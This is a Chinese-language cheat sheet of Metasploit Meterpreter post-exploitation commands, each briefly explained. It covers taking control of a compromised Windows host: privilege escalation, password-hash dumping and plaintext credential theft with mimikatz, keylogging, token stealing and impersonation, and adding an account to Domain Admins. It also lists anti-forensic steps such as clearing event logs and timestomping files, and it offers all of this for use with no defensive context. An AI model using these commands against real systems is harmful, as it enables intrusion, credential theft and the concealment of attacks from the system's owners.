msf解决中文乱码问题：输入 chcp 65001（UTF-8） chcp 437（IBM437英语）
sysinfo
列出受控主机的系统信息
getuid
查看当前操控身份
ls
列出目标主机的文件和文件夹信息
use priv
加载特权提升扩展模块，来扩展meterpreter库
ps
显示所有运行进程以及关联的用户账户
getsystem
通过各种攻击向量来提升到系统用户权限
shell
以所有可用令牌来运行一个交互的shell
screenshot
对目标主机的屏幕进行截图
upload file
向目标主机上传文件
download file
从目标主机下载文件
keyscan_dump
存储目标主机上或许的键盘记录
getprivs
尽可能多的获取目标主机上的特权
background
将你当前的meterpreter shell转为后台执行
help
打开帮助
run scriptname
运行meterpreter脚本，在scripts/meterpreter目录下可查看到所有脚本名
migrate PID
迁移到一个指定的进程ID
hashdump
导出目标主机中的口令哈希值
load mimikatz
加载mimikatz模块
msv
ssp
tspkg
wdigest
获取登录密码的hash值
kerberos
获取明文密码
mimikatz_command -f samdump::hashes
另一种方式获取哈希值
mimikatz_command -f sekurlsa::searchPasswords
另一种方式获取明文密码
portfwd add -l 3389 -r 192.168.206.200 -p 3389
把被攻击机的3389端口流量，转发到本地的3389端口上
use incognito
加载inconito功能（用来盗取目标主机的令牌或是假冒用户）
list_tokens -u
列出目标主机用户组的可用令牌
impersonate_token DOMAIN_NAME\USERNAME
假冒目标主机上的可用令牌。
steal_token
盗窃给定进程的可用令牌并进行令牌假冒
drop_token
停止假冒当前的令牌
execute -f cmd.exe -i
执行cmd.exe命令并进行交互。
execute -f cmd.exe -i -t
以所有可用令牌来执行cmd命令。
execute -f cmd.exe -i -H -t
以所有可用令牌来执行cmd命令并隐藏该进程。
add_user username password -h ip
在远程目标主机上添加一个用户
add_group_user “Domain Adimins”username -h ip
将用户添加到目标主机的域管理员组中
clearev
清除目标主机上的日志记录
timestomp
修改文件属性，例如修改文件的创建时间（反取证调差）
reboot
重启目标主机
rev2self
回到控制目标主机的初始用户账户下。
reg command
在目标主机注册表中进行交互，创建，删除和查询等操作。
setdesktop number
切换到另一个用户界面（该功能基于那些用户已登录）。
uietl enable keyboard/mouse
接管目标主机的键盘和鼠标。
use sniffer
加载嗅探模块
sniffer_interfaces
列出目标主机所有开放的网络接口
sniffer_dump interfaceID pcapname
在目标主机上启动嗅探
sniffer_start interfaceID packet_buffer
在目标主机上针对特定范围的数据包缓冲区启动嗅探
sniffer_stats interfaceID
获取正在实施嗅探网络接口的统计数据
sniffer_stop interfaceID
停止嗅探